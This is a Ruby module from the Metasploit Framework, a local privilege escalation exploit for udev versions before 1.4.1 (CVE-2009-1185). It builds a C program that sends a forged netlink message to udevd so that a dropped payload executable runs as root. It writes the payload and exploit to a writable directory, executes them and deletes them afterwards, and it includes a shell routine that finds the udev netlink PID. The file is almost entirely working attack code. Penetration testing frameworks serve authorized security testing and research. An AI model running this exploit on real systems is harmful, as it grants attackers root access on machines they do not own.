##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/linux/priv'
require 'msf/core/exploit/local/linux_kernel'
require 'msf/core/exploit/local/linux'
require 'msf/core/exploit/local/unix'
#load 'lib/msf/core/post/file.rb'
#load 'lib/msf/core/exploit/local/unix.rb'
#load 'lib/msf/core/exploit/local/linux.rb'
#load 'lib/msf/core/exploit/local/linux_kernel.rb'
class Metasploit4 < Msf::Exploit::Local
Rank = GreatRanking
include Msf::Exploit::EXE
include Msf::Post::File
include Msf::Post::Common
include Msf::Exploit::Local::LinuxKernel
include Msf::Exploit::Local::Linux
include Msf::Exploit::Local::Unix
def initialize(info={})
super( update_info( info, {
'Name' => 'Linux udev Netlink Local Privilege Escalation',
'Description' => %q{
Versions of udev < 1.4.1 do not verify that netlink messages are
coming from the kernel. This allows local users to gain privileges by
sending netlink messages from userland.
},
'License' => MSF_LICENSE,
'Author' =>
[
'kcope', # discovery
'Jon Oberheide', # 95-udev-late.rules technique
'egypt' # metasploit module
],
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'References' =>
[
[ 'CVE', '2009-1185' ],
[ 'BID', '34536' ],
],
'Targets' =>
[
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
[ 'Linux x64', { 'Arch' => ARCH_X86_64 } ],
#[ 'Command payload', { 'Arch' => ARCH_CMD } ],
],
'DefaultOptons' => { 'WfsDelay' => 2 },
'DefaultTarget' => 0,
'DisclosureDate' => "",
}
))
register_options([
OptString.new("WritableDir", [ true, "A directory where we can write files (must not be mounted noexec)", "/tmp" ]),
OptInt.new("NetlinkPID", [ false, "Usually udevd pid-1. Meterpreter sessions will autodetect" ]),
], self.class)
end
def exploit
if datastore["NetlinkPID"] and datastore["NetlinkPID"] != 0
netlink_pid = datastore["NetlinkPID"]
else
print_status("Attempting to autodetect netlink pid...")
netlink_pid = autodetect_netlink_pid
end
if not netlink_pid
print_error "Couldn't autodetect netlink PID, try specifying it manually."
print_error "Look in /proc/net/netlink for a PID near that of the udevd process"
return
else
print_good "Found netlink pid: #{netlink_pid}"
end
sc = Metasm::ELF.new(@cpu)
sc.parse %Q|
#define DEBUGGING
#define NULL ((void*)0)
#ifdef __ELF__
.section ".bss" rwx
.section ".text" rwx
.entrypoint
#endif
call main
push eax
call exit
|
# Set up the same include order as the bionic build system.
# See external/source/meterpreter/source/bionic/libc/Jamfile
cparser.lexer.include_search_path = [
"external/source/meterpreter/source/bionic/libc/include/",
"external/source/meterpreter/source/bionic/libc/private/",
"external/source/meterpreter/source/bionic/libc/bionic/",
"external/source/meterpreter/source/bionic/libc/kernel/arch-x86/",
"external/source/meterpreter/source/bionic/libc/kernel/common/",
"external/source/meterpreter/source/bionic/libc/arch-x86/include/",
]
cparser.parse(%Q|
#define DEBUGGING
// Fixes a parse error in bionic's libc/kernel/arch-x86/asm/types.h
#ifndef __extension__
#define __extension__
#endif
// Fixes a parse error in bionic's libc/include/sys/cdefs_elf.h
// Doing #if on an undefined macro is fine in GCC, but a parse error in
// metasm.
#ifndef __STDC__
#define __STDC__ 0
#endif
#include <sys/types.h>
#include <stdarg.h>
#include <stdio.h>
#include <unistd.h>
#include <errno.h>
|)
[
"external/source/meterpreter/source/bionic/libc/bionic/__errno.c",
"external/source/meterpreter/source/bionic/libc/bionic/__set_errno.c",
"external/source/meterpreter/source/bionic/libc/stdio/stdio.c",
].each do |fname|
cparser.parse(File.read(fname), fname)
end
payload_path = "#{datastore["WritableDir"]}/#{Rex::Text.rand_text_alpha(10)}"
evil_path = "#{datastore["WritableDir"]}/#{Rex::Text.rand_text_alpha(10)}"
unix_socket_h(sc)
linux_x86_syscall_wrappers(sc)
main = %Q^
#include <string.h>
#include <linux/netlink.h>
int main() {
int sock;
struct iovec iov;
struct sockaddr_nl sa;
struct msghdr msg;
char *mp;
char message[4096];
memset(sa, 0, sizeof(sa));
sa.nl_family = AF_NETLINK;
sa.nl_pid = #{netlink_pid};
sa.nl_groups = 0;
msg.msg_name = (void *)&sa;
msg.msg_namelen = sizeof(sa);
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
bind(sock, (struct sockaddr *) &sa, sizeof(sa));
mp = message;
mp += sprintf(mp, "remove@/d") + 1;
mp += sprintf(mp, "SUBSYSTEM=block") + 1;
mp += sprintf(mp, "DEVPATH=/dev/#{Rex::Text.rand_text_alpha(10)}") + 1;
mp += sprintf(mp, "TIMEOUT=10") + 1;
mp += sprintf(mp, "ACTION=remove") +1;
mp += sprintf(mp, "REMOVE_CMD=#{payload_path}") +1;
iov.iov_base = (void*)message;
iov.iov_len = (int)(mp-message);
sendmsg(sock, &msg, 0);
close(sock);
return 0;
}
^
cparser.parse(main, "main.c")
asm = cpu.new_ccompiler(cparser, sc).compile
sc.parse asm
sc.assemble
begin
elf = sc.encode_string
rescue
print_error "Metasm Encoding failed: #{$!}"
elog "Metasm Encoding failed: #{$!.class} : #{$!}"
elog "Call stack:\n#{$!.backtrace.join("\n")}"
return
end
pl = payload.encoded_exe
print_status "Writing payload executable (#{pl.length} bytes) to #{payload_path}"
write_file(payload_path, pl)
print_status "Writing exploit executable (#{elf.length} bytes) to #{evil_path}"
write_file(evil_path, elf)
print_status "chmod'ing and running it..."
cmd_exec("chmod 755 #{evil_path} #{payload_path}")
cmd_exec("#{evil_path}")
rm_f(evil_path, payload_path)
end
def autodetect_netlink_pid
netlink_pid = nil
case session.type
when "meterpreter"
print_status("Meterpreter session, using get_processes to find netlink pid")
process_list = session.sys.process.get_processes
udev_proc = process_list.find {|p| p["name"] =~ /udevd/ }
udev_pid = udev_proc["pid"]
print_status "udev pid: #{udev_pid}"
netlink = read_file("/proc/net/netlink")
netlink.each_line do |line|
pid = line.split(/\s+/)[2].to_i
if pid == udev_pid - 1
netlink_pid = pid
break
end
end
else
print_status("Shell session, trying sh script to find netlink pid")
netlink_pid = cmd_exec(
%q^
for netlink_pid in $(awk '{print $3}' /proc/net/netlink |sort -u|grep -v -- -); do
for udev_pid in $(ps aux | grep [u]devd | awk '{print $2}'); do
[ $(( $udev_pid-1 )) = $netlink_pid ] && echo $netlink_pid ;
done;
done ^)
netlink_pid = nil if netlink_pid.empty?
end
netlink_pid
end
end
